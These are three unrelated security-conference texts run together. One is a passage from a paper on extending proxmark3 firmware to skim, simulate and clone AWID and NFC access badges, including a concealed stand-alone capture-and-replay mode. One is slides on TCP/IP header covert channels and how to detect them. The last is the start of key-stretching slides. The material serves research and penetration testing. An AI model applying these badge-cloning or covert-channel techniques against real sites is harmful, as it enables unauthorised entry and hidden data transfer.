 illustrate  the  process  of  enhancing  the  proxmark3  firmware,  this  paper  explores  in  depth  the process  of  introducing  client-­‐driven  support  for  a  previously  unsupported  tag  format  and  stand-­‐alone support  for  ISO14443a  (NFC)  tags.  Although  proxmark3  has  an  extensive  list  of  supported  tag  formats, there  was  no  support  for  AWID  tags  when  this  research  began  and  with  access  to  both  a  card  and  reader it  was  a  natural  choice  for  contributing  back  to  the  community.23 Adding  real-­‐time  demodulation  of  AWID26 While  demodulation  of  an  AWID  FSK  waveform  from  data  samples  was  added  in  January  2015  with commit  1e090a61a149a58a57e9d9acbf5e5532387867a4,  there  was  no  corresponding  functionality  to make  the  pm3  an  AWID  reader  in  the  way  ‘lf  hid  fskdemod’  allows.  Having  an  AWID26  reader  is  useful for  practical  attacks  in  which  the  penetration  tester  is  trying  to  skim  badge  numbers.  The  tester  can  leave real-­‐time  demodulation  running  and  logging  while  casually  attempting  to  get  close  enough  to  people  with legitimate  access  to  the  facility  under  test. The  first  step  in  supporting  a  new  tag  format  is  to  identify  the  modulation  scheme  and  parameters  in  use. In  general  when  working  with  a  completely  unknown  tag  the  starting  point  would  be  to  energize  the  card and  collect  samples  to  plot.  Once  familiar  with  the  general  envelope  of  typical  modulation  schemes,  it  is often  possible  to  recognize  the  modulation  with  a  simple  visual  assessment  of  the  waveform.  Some characteristics  such  as  the  data  rate  can  be  calculated  from  the  waveform  while  others  may  require  more guesswork  or  trial  and  error.  Fortunately  the  AWID  cards  are  clearly  marked  and  as  with  most  cards  of any  popularity,  the  information  is  out  there  if  you  know  where  to  look.  In  this  case,  I  found  all  the information  I  needed  from  the  previously  referenced  proxmark.org  thread  on  t55x7  card  programming. Decoding  the  block  0  value  0x00107060  tells  us  that  AWID  uses  FSK2a  with  RF/50  data  rate  and  the attached  PDF  illustrates  the  high  and  low  logic  sequences.  This  is  coincidentally  the  same  FSK modulation  as  used  in  the  popular  HID  tag  format  but  the  similarity  starts  and  ends  there  with  AWID  tags having  a  different  preamble  pattern  and  encoding  technique. Moving  the  AWID  demodulation  from  a  client  side  operation  on  the  local  dataset  into  the  ARM  is  a reasonably  straightforward  process  once  the  logistics  are  understood.  To  start,  I  defined  a  new  command opcode  with  the  pneumonic  CMD_AWID_DEMOD_FSK  by  adding  it  to  the  appropriate  header  files referenced  in  the  proxmark3  ARM  section  of  this  document.  Logic  to  handle  this  command  was  added  in the  USB  packet  handling  routine  from  armsrc/appmain.c  following  the  pattern  used  for  the  ‘lf  hid fskdemod’  command.  A  new  function  CmdAWIDdemodFSK()  was  added  to  armsrc/lfops.c  including  the logic  from  ‘data  fskawiddemod’.  Migrating  the  logic  from  the  client  to  the  device  side  requires  changing PrintAndLog()  calls  to  the  appropriate  device  side  logging  function  (Dbprintf/DbpString),  code  to  abort the  function  loop  in  response  to  a  button  press,  and  most  critically  that  the  demodulation  is  fed  by  live data  acquisition  rather  than  the  graph  buffer.  On  the  device  side  we  simply  obtain  a  pointer  to  BigBuf with  BigBuf_get_addr()  and  use  DoAcquisition_default()  in  place  of  getFromGraphBuf(). With  the  device  end  of  the  functionality  in  place,  the  only  thing  left  to  do  is  update  the  client  to  include the  new  context  and  function.  For  maintainability  it  is  best  to  keep  tag  specific  functionality  in  separate 23  Client  demodulation  added  Jan.  18  2015 HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS files  and  so  client/cmdlfawid.c  was  created  in  the  likeness  of  client/cmdlfhid.c  along  with  their  associated header  files.  Within  this  file  is  a  data  structure  CommandTable[]  which  exposes  available  commands within  a  context.  CommandTable  is  a  command_s  struct  containing  a  command  name,  function  pointer,  an offline  flag,  and  description.  Since  the  AWID  functionality  falls  under  the  LF  context,  the  AWID commands  must  be  referenced  from  cmdlf.c  with  a  pointer  to  a  helper  function  to  print  command  usage for  the  AWID  context. Example  usage  and  output  from  ‘lf  awid  fskdemod’  is  contained  in  figure  24  below: Figure  24  Sample  output  from  'lf  awid  fskdemod' Simulation  of  AWID26  tags  from  facility-­‐code  and  card  number As  described  earlier,  it  is  possible  to  simulate  most  low-­‐frequency  tags  with  built-­‐in  generic  functions allowing  the  user  to  specify  a  modulated  bit  stream  or  reproduce  an  acquired  waveform.  For  example, the  tag  scanned  in  figure  24  could  be  automatically  simulated  using  LF  functions  search  and  simfsk.  (In this  scenario,  if  the  tag  is  supported,  lf  search,  will  populate  the  modulation  options  and  specify  the demodulated  buffer.)  It  is  also  possible  to  use  lf  simfsk  on  its  own  by  manually  specifying  clock  speed, high  and  low  logic  sequences,  and  tag  data.  Without  the  tag  present  to  scan  however  it  becomes  a  bit more  tedious  since  the  operator  would  need  to  manually  compute  the  bits  to  transmit  taking  into consideration  the  preamble  and  parity  bits. All  of  the  AWID  tags  I  have  seen  to  date  have  a  printed  facility  code  and  card  number  making  it  possible to  duplicate  the  card  even  from  a  photograph.  This  section  covers  addition  of  the  ‘lf  awid  sim’  command to  automate  the  process  of  simulating  a  specific  AWID  tag  based  on  the  numbers  printed  on  the  card.  The first  step  in  this  process  is  of  course  to  write  a  function  for  encoding  a  facility  code  and  card  number  into a  stream  of  bits  to  be  transmitted.  The  logic  was  coded  into  getAWIDBits()  derived  entirely  from  the previously  referenced  AWID  PDF  referenced  in  the  T55x7  thread.  This  function  does  the  bit-­‐wise operations  needed  to  construct  an  array  of  bytes  representing  the  card  data.  (Parity  calculations  are performed  with  the  existing  parityTest()  function.)  While  this  code  could  reside  in  either  the  client  or  the device  layer,  it  seems  most  appropriate  to  keep  this  in  the  client  since  pm3  will  not  need  to  perform  this calculation  except  when  receiving  commands  from  the  client  and  so  it  was  added  to  client/cmdlfawid.c. The  next  step  is  to  implement  code  in  the  client  to  initiate  the  tag  simulation.  While  it  would  be  trivial  to add  a  specific  command  definition  to  the  ARM  as  was  done  for  the  fskdemod  routine,  it  is  also  completely unnecessary  and  since  the  ARM  has  a  finite  storage  capacity  it  seems  best  to  reuse  existing  code  where possible.  Since  we  know  that  the  simfsk  operation  is  already  implemented,  the  easiest  option  is  to  have the  client  compose  and  send  an  appropriate  UsbCommand.  An  example  of  sending  this  command  is available  in  armsrc/appmain.c  revealing  that  CMD_FSK_SIM_TAG  is  the  appropriate  command  type leading  to  the  ARM  function  CmdFSKsimTAG().  Reviewing  the  definition  of  this  function  (in armsrc/lfops.c)  illustrates  how  the  command  arguments  are  used.  In  this  function,  arg[0]  indicates  the high  and  low  logic  sequence,  arg[1]  combines  the  clock  rate  and  inversion  setting,  and  arg[2]  indicates the  size  in  bits  of  the  buffer.  The  buffer  itself  is  passed  in  d.asBytes  with  each  byte  representing  a  bit  in HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS the  intended  stream  meaning  that  the  12-­‐byte  code  will  need  to  be  represented  as  96-­‐bytes  of  true  or false.  The  design  of  getAWIDBits()  however  is  to  return  bytes  in  an  easily  printable  format  so  a  for  loop  is used  to  iterate  over  each  bit  setting  d.asBytes  one  byte  at  a  time  by  iterating  over  the  bits  masking  out  all but  the  relevant  bit  and  setting  the  byte  accordingly. As  illustrated  in  figure  25,  the  ‘lf  awid  sim’  command  also  displays  the  equivalent  ‘lf  simfsk’  parameters  to simulate  the  specific  tag. Figure  25  Sample  output  from  'lf  awid  sim  ...' Cloning  AWID26  from  facility-­‐code  and  card  number As  previously  described,  low-­‐frequency  tags  can  be  impersonated  by  cards  with  the  T55x7  family  chipset. Programming  the  card  requires  nothing  more  than  calculating  values  for  each  T55x7  configuration  block and  writing  them  to  a  card.  (Figures  22  and  23  illustrate  this  relationship.)  As  with  the  simulation  code, the  first  step  is  to  translate  the  badge  details  into  a  well-­‐formed  AWID26  demodulated  buffer  and  then split  this  across  the  blocks  of  the  T55x7.  Once  again  this  functionality  could  be  performed  by  a  dedicated function  on  the  ARM  side  but  since  T55x7  programming  functionality  already  exists  it  is  an  easy  task  to have  the  client  automate  the  task  of  calculating  and  programming  the  tag  blocks.  Writing  to  the  tag  uses the  CMD_T55XX_WRITE_BLOCK  command  with  arg[0]  for  the  block  data  (4-­‐byte  int),  arg[1]  indicates  the block  number,  and  arg[2]  could  be  used  for  working  with  a  password  protected  card.  Similar  to  the  ‘lf awid  sim’  command,  the  clone  operation  also  prints  the  equivalent  individual  commands  as  shown  below. HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS Figure  26  Sample  output  of  'lf  awid  clone  ...' Ironically  this  relatively  simple  functionality  actually  uncovered  a  quirky  behavior  in  the  communication between  the  client  and  the  device.  After  submitting  the  pull  request  with  this  function,  I  received feedback  from  another  developer  that  the  clone  method  was  failing  after  block  0.  After  some  back  and forth  we  were  able  to  establish  that  the  new  code  was  exposing  differences  in  the  serial  communication as  performed  by  the  Windows  client  versus  Linux/OS  X  clients.  On  Windows,  data  was  being  lost  rather than  buffered  when  commands  are  sent  from  the  client  in  rapid  succession.  The  ideal  solution  for  this  is to  have  the  client  wait  for  a  response  from  the  ARM  between  each  command.  This  not  only  eliminates  the timing  issue  but  also  allows  the  operator  to  validate  that  commands  were  executed.  As  a  short-­‐term solution  however  the  logic  was  updated  to  include  a  short  delay  between  each  command. Replacing  LF  standalone  mode  with  NFC  functions Low-­‐frequency  and  high-­‐frequency  RFID  both  rely  on  a  carrier  wave  to  wirelessly  power  a  chip  through induction  but  in  practice  the  two  technologies  are  very  different.  Near  field  communication  (NFC)  is based  on  high-­‐frequency  RFID  technology  with  communication  as  specified  by  ISO14443  standards. Whereas  with  AWID  we  saw  that  the  tag  would  simply  create  the  same  waveform  repeatedly  and  the reader  would  simply  demodulate  that  signal,  NFC  tags  allow  for  a  variety  of  operating  modes  including the  general  sharing  of  data.  While  some  tags  support  security  features  such  as  cryptography,  some popular  applications  are  designed  to  only  verify  basic  unprotected  data  such  as  the  tag’s  unique identifier.  For  example,  Timo  Kasper’s  PhD  thesis  from  Ruhr-­‐University  Bochum  describes  how  the Siemens  SIPORT  enterprise  solution  for  access  control  was  easily  subverted  because  the  system  relied  on the  UID  (transmitted  in  plaintext)  and  the  first  sector  of  a  Mifare  Classic  card  using  default  keys.24  Certain other  access  control  systems  including  the  Android  NFC  ‘Smart  Unlock’  feature  and  Samsung  locks  NFC 24  Section  5.6.3  https://www.emsec.rub.de/media/attachments/files/2012/11/timo_phd_thesis.pdf HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS compatible  locks  (like  the  SHS-­‐3321)  only  check  the  unprotected  UID.  As  discussed  earlier  in  this document,  the  UID  block  of  a  tag  is  intended  to  be  a  factory  programmed  unchangeable  value  to  uniquely identify  the  tag.  This  section  outlines  how  the  proxmark3  firmware  was  enhanced  to  support  stand-­‐ alone  operation  to  capture,  clone,  and  emulate  UIDs  from  ISO1443a  compliant  tags.  (Cloning  capability  in this  initial  design  is  limited  to  changeable  Mifare  Classic  cards.) Stand-­‐alone  mode  runs  entirely  on  the  ARM  with  source  code  contained  within  the  armsrc/appmain.c source  file.  Each  loop  of  the  main  application  checks  if  a  command  arrived  over  USB  as  well  as  checking whether  the  push-­‐button  was  held  down  for  a  second.  The  traditional  low-­‐frequency  operation  invokes SamyRun()  which  provides  replay  and  simulation  logic  for  HID  tags.  Interacting  with  the  high-­‐frequency tags  requires  a  different  FPGA  configuration  and  of  course  ISO14443  specific  function  calls.  FPGA configurations  are  stored  in  the  flash  memory  of  the  ARM  and  can  be  loaded  on  demand  with FpgaDownloadAndGo().  The  FPGA_BITSTREAM_HF  configuration  arranges  the  pin-­‐out  so  that  the appropriate  coil  is  connected  and  the  FPGA  is  ready  to  expect  HF  commands. The  general  structure  of  stand  alone  operation  can  be  modeled  around  the  existing  SamyRun()  but  it requires  replacing  HID  logic  with  ISO1443  logic.  For  HID  reading  mode,  SamyRun()  uses CmdHIDdemodFSK()  but  the  new  logic  will  need  to  first  command  the  FPGA  to  act  as  an  ISO14443a reader  with  iso14443a_setup(FPGA_HF_ISO1443A_READER_MOD).  Reading  the  UID  of  a  tag  is  covered with  the  iso14443a_select_card()  call.  This  function  will  return  false  until  a  card  was  successfully  selected and  its  UID  saved  to  memory.  The  UID  is  printed  and  then  rearranged  to  the  expected  byte  order  for  the clone  and  replay  functions. Again  for  cloning,  SamyRun()  uses  a  single  function  CopyHIDtoT55x7()  while  the  HF  equivalent  of  writing to  a  changeable  UID  card  requires  a  little  more  effort.  First  the  UID  value  must  be  transformed  to  create  a well-­‐formed  block  0.  The  relevant  functions  for  working  with  changeable  UID  Mifare  cards  are MifareCSetBlock()  and  MifareCGetBlock().  Example  usage  of  these  functions  to  write  a  new  UID  to  a  card is  presented  in  mfCSetUID()  which  first  reads  block  0  from  the  target  tag  and  then  replaces  the  UID  bytes while  maintaining  the  reserved  bytes  5-­‐7  and  setting  an  appropriate  block  check  character  (BCC). The  final  stand-­‐alone  feature  is  tag  simulation  performed  for  HID  tags  with  CmdHIDsimTAG().  For ISO14443,  the  equivalent  function  to  use  is  SimulateIso14443aTag()  which  takes  in  high  and  low  order bytes  for  the  UID  and  configures  the  device  to  act  as  a  tag  with  that  UID.  Simulation  of  an  ISO14443a  tag however  may  not  work  as  well  as  cloning  to  a  card.  Using  a  PCB  antenna  from  RyscCorp25  works  very well  for  simulating  the  tag  when  interrogated  by  some  devices  but  hardly  works  on  others.  For  example when  the  coil  is  brought  in  proximity  to  certain  Samsung  locks  the  simulation  function  reports unexpected  commands  while  a  cloned  card  works  perfectly.  (Specifically  the  SHS-­‐3321  and  SHS-­‐3420 locks  were  evaluated.)  This  may  be  a  consequence  of  timing  discrepancies  or  perhaps  related  to  the antenna  shape  but  experiments  with  other  hardware  based  tag  simulation  (PN533  w/  libNFC  and ChameleonMini)  had  similar  results.  In  general  these  devices  are  not  recognized  as  tags  by  the  lock. Further  testing  is  needed  to  definitively  debug  this  behavior  and  determine  whether  this  may  even  be  an advanced  security  feature  of  the  lock.  Over  the  course  of  many  tests,  the  simulation  mode  worked 25  http://store.ryscc.com/collections/proxmark-­‐3/products/high-­‐frequency-­‐pcb-­‐antenna HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS reliably  with  a  Nexus  4  and  Nexus  7  making  it  possible  (as  Google  clearly  warns)  for  a  tag  used  by  the Android  Smart  Lock26  feature  to  be  replicated  in  this  manner.  With  the  tested  Samsung  locks  however only  opened  (one  time  only)  after  dozens  of  attempts  with  different  antenna  placement.  None  of  the tested  NFC  devices  had  problems  reading  from  clone  cards. Once  the  main  functionality  was  working,  the  next  challenge  was  to  reconsider  the  usage  workflow.  In the  traditional  LF  stand-­‐alone  mode  it  is  necessary  to  first  use  the  button  to  enter  stand-­‐alone  mode  and then  again  to  enter  record  mode.  It  is  also  possible  to  go  directly  into  play  mode  but  since  the  ID  is  not initialized  or  preserved  across  sessions,  this  seemed  extraneous.  Instead  the  NFC  code  has  been  designed to  enter  directly  into  reader  mode  and  then  jump  into  replay  mode  when  a  tag  is  read.  This  makes  it much  easier  to  operate  the  device  in  a  concealed  container  without  exposing  that  the  proxmark3  is hidden.  With  this  change,  the  replay  mode  waits  for  instructions  to  clone  or  switch  banks  as  displayed  in the  following  flow-­‐chart. Figure  27  NFC  Stand-­‐Alone  Mode  Workflow 26  “Setup  Your  Device  for  Automatic  Unlock”,  https://support.google.com/nexus/answer/6093922?hl=en HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS RFIDler:  The  New  Kid  on  the  Block If  the  proxmark3  is  a  nice  21-­‐year-­‐old  bottle  of  single  malt,  RFIDler  is  more  like  a  cheap  bottle  of  vodka. While  it  might  get  the  job  done,  it  may  not  be  the  most  enjoyable  experience.  While  a  3D  printed  case definitely  improves  the  read  quality,  it  may  still  be  necessary  to  spend  a  bit  of  time  fiddling  with  coil placement  or  adjusting  thresholds  with  the  digital  potentiometers.  This  is  particularly  the  case  when working  with  tags  other  than  the  prevalent  HID  tag  format.  The  simple  circuit  design  and  inexpensive components  make  RFIDler  potentially  desirable  for  use  as  a  more  expendable  device  able  to  be  left  at  a target  site  during  a  physical  penetration  test.  Unfortunately  the  design  does  not  include  a  method  for storing  interrogated  tag  IDs.  Although  someone  with  a  background  in  schematic  layouts  and  PIC controllers  should  be  able  to  add  an  SD  card  slot  with  minimal  difficulty,  the  overhead  involved  with designing  and  producing  new  boards  is  probably  not  the  most  cost  effective  unless  a  large  quantity  of devices  are  required.  (Creating  a  new  board  to  log  the  USB  serial  output  could  face  similar  challenges.) RFIDlerPi Pairing  the  RFIDler  with  an  existing  low-­‐cost  small  computing  device  would  be  ideal.  This  is  where  the idea  of  RFIDlerPi  began.  The  $35  Raspberry  Pi  board  compliments  the  RFIDler  quite  well  providing immediate  data  logging  by  setting  the  RFIDler  to  auto-­‐start  in  the  desired  reader  mode  and  the  Pi configured  with  a  basic  script  or  program  for  dumping  data  off  the  serial  line  and  onto  an  SD  card  or  USB storage  device.  It  is  also  a  small  leap  from  there  to  add  a  Wi-­‐Fi  dongle  to  the  Pi  allowing  the  operator  to retrieve  data  and  control  the  device  over  a  network  connection.  Naturally  these  techniques  can  also  be applied  to  other  tools  but  the  RFIDler  is  particularly  easy  to  work  with  for  this  task  because  it  requires minimal  configuration  particularly  compared  to  use  of  a  proxmark3  that  would  generally  require compiling  a  new  client  for  the  target  architecture  and/or  making  various  firmware  changes. Alternatively  if  high-­‐frequency  RFID  support  is  needed,  a  $50  USB  based  NFC  reader  will  likely  do  the trick. 3D  modeling  and  CAD  software  then  makes  it  possible  to  produce  a  custom  enclosure  to  conceal  the gadgets.  Building  information  modeling  (BIM)  libraries  even  make  it  possible  to  obtain  decent  likenesses of  many  objects  commonly  found  in  commercial  buildings.  Often  times  RFID  vendors  will  even  make available  CAD  drawings  to  customers  making  it  possible  for  someone  to  make  a  very  convincing  fake reader.  This  is  especially  true  with  the  growing  assortment  of  manufacturing-­‐as-­‐a-­‐service  businesses allowing  anyone  to  acquire  prints  from  high-­‐end  commercial  printers  that  may  be  prohibitively expensive  to  maintain  and  operate  in  house. Concluding  Remarks Of  the  hacking  tools  used  in  this  research,  each  has  its  strengths  and  weaknesses  but  it  is  clear  that  the proxmark3  is  at  this  time  the  best  option  for  overall  RFID  research  of  low  and  high  frequency implementations.  It  is  worth  noting  however  that  if  only  high  frequency  (NFC)  capabilities  are  desired that  more  affordable  options  exist  in  the  form  of  libNFC  compatible  USB  devices.  This  approach  is HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS primarily  limited  in  that  the  low-­‐level  modulation  functionality  is  typically  not  upgradeable  as  is  possible with  hardware  implementations  like  the  proxmark3.  The  ChameleonMini  provides  a  good  compliment  to both  of  these  tools  enabling  in  circuit  NFC  tag  emulation  in  a  form  factor  similar  to  a  typical  contactless smartcard. The  RFIDler  is  also  a  project  to  keep  an  eye  on  if  only  interested  in  low  frequency  RFID  but  in  its  current state  (v22-­‐beta)  it  did  not  perform  as  well  as  proxmark3.  Based  on  the  collection  of  tags  tested  it  would appear  that  HID  reading  is  the  most  reliable.  Other  formats  required  a  little  more  patience  and reconfiguration  of  the  POT  settings  and  finding  a  sweet  spot  for  how  to  place  the  card  in  relation  to  the antenna  coil. The  intent  of  this  project  was  to  create  a  suitable  introduction  for  newcomers  and  veteran  hackers  alike looking  to  harness  the  power  of  their  RFID  hacking  tools.  The  firmware  modifications  documented  in this  paper  have  been  merged  into  the  official  proxmark  repository  so  that  they  may  come  in  handy  for users  as  well  as  being  a  partial  guide  for  getting  started  with  new  development.  Antenna  form  models are  also  being  made  available  as  STL  files  suitable  for  printing  on  most  3D  printers  or  via  an  online printing  service.  The  concealment  designs  discussed  are  intended  as  exercises  for  the  reader  as  the needs  of  each  user  are  expected  to  vary  greatly  based  on  the  application.
pdf
Covert Channels in TCP and IP Headers Drew Hintz [email protected] http://guh.nu Drew Hintz - http://guh.nu - 2 At A Glance • Who are you? Who are they? • Definitions • Analysis of some covert channels • Attack against timestamp covert channel • Detection and prevention • New covert channel tool Drew Hintz - http://guh.nu - 3 Who Are You? • Need to communicate covertly, but typical encryption is not the complete solution. • Why not just encrypt? – Encryption may be outlawed – Key escrow may be mandatory • US & UK Government – Might raise too many eyebrows • Thrown in jail in China • Employer may question what you are doing • „Malicious‟ code command and control Drew Hintz - http://guh.nu - 4 Who are “they”? • Casual Observer – Watching everyone – Automated systems sifting on keywords – Can only keep minimal state on traffic • Dedicated Observer – Looking specifically at a few suspect people – All portions of traffic closely monitored – Many resources available, can easily keep state Drew Hintz - http://guh.nu - 5 How covert is covert enough? • Semi-Covert: Fooling the Casual Observer – If examined, traffic appears unusual – Assumes “they” won‟t bother looking – Detecting it requires a low to moderate amount of work • Truly Covert: Fooling Everyone – Traffic appears completely normal – Will work even if “they” know the procedure used – Detecting it is as hard as breaking the underlying cryptography Drew Hintz - http://guh.nu - 6 Two Types of Covert Channels • Extra communication to a host • Hiding the fact that you‟re even communicating with a host Drew Hintz - http://guh.nu - 7 Extra Communication to a Host • Useful when you must hide the fact that you‟re encrypting data • Method – Uses some amount of cover/permissible traffic – Sender embeds covert message outbound – Receiver gets traffic as normal – Receiver analyzes traffic, retrieves message Drew Hintz - http://guh.nu - 8 Finding a Good Covert Channel • First find a place that random data is being transmitted naturally – Ex. Initial Sequence Numbers, complex timing of network transmissions – Then replace that random data with your own „random data‟ which is actually an encrypted message Drew Hintz - http://guh.nu - 9 A simple example • Alice wants to send a message to Bob • Alice FTPs Bob a couple of old vacation pictures, meanwhile Bob records all traffic • Alice encodes the secret message byte by byte in the padding of several TCP segment headers • Bob looks at padding of recorded traffic Drew Hintz - http://guh.nu - 10 Unseen Path of Communication • Useful if you do not want your association with a node to be known – Communicating with a closely scrutinized node – Accessing „forbidden‟ material – Malicious activity • Use another node to relay information for you Drew Hintz - http://guh.nu - 11 Finding a Good Channel • Use a hard to monitor node as an intermediary • Protection is possible even if all networks are watched – Mixes, onion routing • Prevents association of incoming and outgoing – Also use extra communication covert channel • Prevents detection that a node is relaying info Drew Hintz - http://guh.nu - 12 Unseen Path Example • Alice and Bob both are allowed to make requests to the same small webserver • To transmit a one, Alice pounds the webserver with heavy traffic • To transmit a zero, Alice doesn‟t make any requests • Bob makes requests to the webserver and measures latencies Drew Hintz - http://guh.nu - 13 Evaluating a Covert Channel • Bandwidth – bits per TCP connection – bits per packet • Ease of Detection • Permissibility – How often will it be permitted? • Prevention • Difficulty of Implementing • Special Cases or Restrictions Drew Hintz - http://guh.nu - 14 What are we going to look at? • Extra communication covert channels – Needed if encryption is restricted – Hidden path is being looked at heavily by anonyminity researchers • TCP/IP Headers – Occurs frequently on networks – Able to piggy-back on legitimate traffic Drew Hintz - http://guh.nu - 15 TCP URG Pointer • Sequence number that points to end of urgent data • Only interpreted if URG control bit is set • Set the 16-bit URG pointer to the value that you‟re transmitting, however do not set the URG bit • To be a bit more stealthy, the URG pointer value should be restricted to be near the sequence numbers so that it actually could be pointing at something Drew Hintz - http://guh.nu - 16 URG Pointer Evaluation • Bandwidth – Good: 16 bits per TCP Segment; much less if the URG pointer is restricted to be near sequence numbers • Detection – Easy: URG pointer rarely used, and should never be used without setting the URG control bit – Also, URG pointer must actually point to data • Prevention – Moderate/Easy, if URG bit is not set, rewrite pointer – Perhaps disallow use of URG Drew Hintz - http://guh.nu - 17 URG Pointer Eval (continued) • Permissibility – Traffic normalizers and some firewalls may clear the URG pointer, especially if the URG control bit is zero • Difficulty of Implementing – Easy, simply replace bits in packets in transit • Special Cases – Can not be used in TCP segments where the URG pointer is actually being used Drew Hintz - http://guh.nu - 18 Padding & Reserved bits • Similar to URG example • Lower bandwidth • Padding is easy to detect, because almost always set to zeros • Padding and reserved bits may be rewritten by some routers Drew Hintz - http://guh.nu - 19 IP Type of Service • Indicates quality of service requested – Precedence, delay, throughput, reliability, reserved • Set the IP ToS byte to your data • To be much more stealthy, only modulate the Delay bit Drew Hintz - http://guh.nu - 20 IP ToS Evaluation • Bandwidth – 1 byte per IP datagram if using entire ToS field – 1 bit per IP datagram if using only delay bit • Detection – Easy if using entire ToS field, because the entire field is never used – Moderate if using only the delay bit • Look for frequent occurrences of set delay bits Drew Hintz - http://guh.nu - 21 ToS Evaluation (continued) • Permissibility – Passed through tested equipment • Prevention – Easy, rewrite all ToS bits – Could slightly alter handling of traffic • Difficulty of Implementing – Easy, simply replace bits in packets in transit • Special Cases – Could slightly alter actual handling of traffic, but not noticeable Drew Hintz - http://guh.nu - 22 Initial Sequence Number (ISN) • Sequence numbers used to index TCP data being transmitted • ISN should be random to prevent TCP session hijacking and spoofing • Choose your initial sequence numbers to be the message to be transmitted Drew Hintz - http://guh.nu - 23 ISN Evaluation • Bandwidth – Low: 32 bits per TCP connection • Detection - „Impossible‟ • Prevention – Difficult, have to proxy all TCP connections Drew Hintz - http://guh.nu - 24 ISN Evaluation (continued) • Permissibility – Will pass through all, except some proxies • Difficulty of Implementing – Moderately Easy, simply replace the function used to generate initial sequence numbers • Special Cases – Some OSs (such as Windows 98) do not choose random ISNs Drew Hintz - http://guh.nu - 25 Timestamp Low-bit Modulation • TCP option • Modulate low bit of TCP timestamp to convey data • Presented by Giffin, et al at PET2002 • At low bandwidths, the low bit of the timestamp is quite random (based on complex timings) Drew Hintz - http://guh.nu - 26 Timestamp Evaluation • Bandwidth – Low: one bit per TCP segment • Detection – Very, very difficult for low bandwidth • Prevention – Moderate/Easy, strip out TCP timestamp option • Permissibility – Permitted on just about all networks Drew Hintz - http://guh.nu - 27 Timestamp Eval (continued) • Difficulty of Implementing – Moderate, many things must be kept in mind – Must be sure timestamps are monotonically increasing – In order to to this, a fast connection will be slowed down while sending covert data Drew Hintz - http://guh.nu - 28 Timestamp Detection - Fast • When on a fast connection, the sending of TCP segments will be slowed down to a fixed rate • Algorithm to detect: – Count number of different & total timestamps sent by a particular host – Calculate the ratio of total to different timestamps – If timestamp covert channel is being used on a sufficiently fast network, the ratio will converge to about 1.94 • To prevent slow down more than needed Drew Hintz - http://guh.nu - 29 Timestamp Detection - Slow • For even a slow connection, it is very difficult, but possible, to detect • The covert channel makes the low bit more random than it normally is • Algorithm: – Record all the low bits of the timestamp – Put them through a complex randomness test – If very random, then covert channel being used • To prevent introduce some non-random data Drew Hintz - http://guh.nu - 30 Detection and Prevention • Detect anomalous traffic – Some IDSs can do this, but it can be very noisy • Perform normalization of traffic – norm – BSD pf – Use a pump method to defeat timing channels • Can not close all covert channels, only possible to decrease bandwidth and ease Drew Hintz - http://guh.nu - 31 Implementation Issues • Encryption must happen at some level • Is data being transmitted? • What data is being transmitted? • Reliability vs. Bandwidth Drew Hintz - http://guh.nu - 32 Encryption is a Key Component • Good encryption must be used for theoretically secure covert channels • Assume covert channel method is well known • Must ensure same ciphertext is not transmitted multiple times – Stream cipher initialized with a common time and key could be used Drew Hintz - http://guh.nu - 33 Is data being transmitted? • Send checksum at end of each sequence of data – Receiver examines traffic and attempts to find data/checksum matches • Checksum must be securely keyed, otherwise attacker could do the same • Magic flag that receiver watches for Drew Hintz - http://guh.nu - 34 What Data is being Transmitted? • Can use unmodified portion of header and data as a nonce • Use the hash of the nonce as an index into the data being transmitted • Transmit data sequentially • Implement more advanced protocols Drew Hintz - http://guh.nu - 35 Reliability vs. Bandwidth • Using hash of nonce provides high reliability, low bandwidth, simple solution • Transmitting data sequentially provides high bandwidth, low reliability, simple solution • Implementing a more advanced protocol is ideal for long messages Drew Hintz - http://guh.nu - 36 Covert Channel Tool • Sending component is a proc Linux Kernel Module that modifies outgoing TCP/IP traffic by replacing hard_start_xmit • Receiving component sniffs incoming traffic using libpcap Drew Hintz - http://guh.nu - 37 Implemented Covert Channels • Initial Sequence Number • TCP Timestamp low-bit modulation – Has high-speed protection • Urgent Pointer • IP Type of Service • TCP Reserved Bits Drew Hintz - http://guh.nu - 38 Implemented Data Indexing • Sequential transmission of the data • SHA of unmodified portions of header and data used as index into the data Drew Hintz - http://guh.nu - 39 Work to be Done • Improve user interface • Built-in encryption • Add more options for covert channels • Analyze how various routers, IDSs, etc. handle illegal data • Implement more robust protocol for data transmission (TCP over TCP?) (: Drew Hintz - http://guh.nu - 40 Any Questions? • Get the goods: http://guh.nu/projects/cc/ • Shameless plug for OSVDB – Vulnerability database by the community – http://www.osvdb.org
pdf
Demystifying Key Stretching and PAKEs Steve “Sc00bz” Thomas 2 Who am I? Why am I here? 3 Who am I? Why am I here? ● Password cracker ● Cryptography enthusiast ● I just wanted a pw manager – Bugs and vulns galore – How would I make one? ● PHC Panelist – I broke Schvrch and old Makwa 4 ● Key Stretching – What? – Why? – Types – What goes wrong? – How? – Settings Agenda ● Password Authenticated Key Exchange (PAKE) – What? – Why? – Types – How? – Properties 5 Key Stretching ● Passwords – Hashing (Authentication) – KDF (Key Derivation Function) ● Fingerprints – Signal’s Safety Numbers (299.7 → 2112) 6 Key Stretching – Why? ● Ashley Madison data breach (2015) – 36.15 million bcrypt cost 12 hashes ● 113 H/s/GPU (GTX 980 Ti, the best at the time) ● 89 GPU-hours/password 7 Key Stretching – Why? ● Ashley Madison data breach (2015) – 36.15 million bcrypt cost 12 hashes ● 113 H/s/GPU (GTX 980 Ti, the best at the time) ● 89 GPU-hours/password – 15.26 million salted, case-insensitive MD5 hashes[1] ● 11.2 million bcrypt cracked in 10 days ● 73% with MD5 hashes 8 Key Stretching – Types ● Computationally hard – Amount of work done (number of blocks hashed) ● Parallel vs Sequential ● Memory hard – Amount of memory used – Bandwidth consumed ● Cache hard – Random small transactions 9 Key Stretching – Types ● Computationally hard – Parallel PBKDF2 – PBKDF2 ● Memory hard – Argon2 – Balloon Hashing – scrypt ● Cache hard – bcrypt – bscrypt 10 Key Stretching – How? 1) seed = H(inputs) a) [optional] independent seed = H(non-secret inputs) 2) work = doWork(settings, seed[, independent seed]) 3) key = KDF(output size, work, seed or inputs) 11 Key Stretching Bugs ● md5crypt (CVE-2012-3287) ● PBKDF2 (CVE-2013-1443) ● phpass 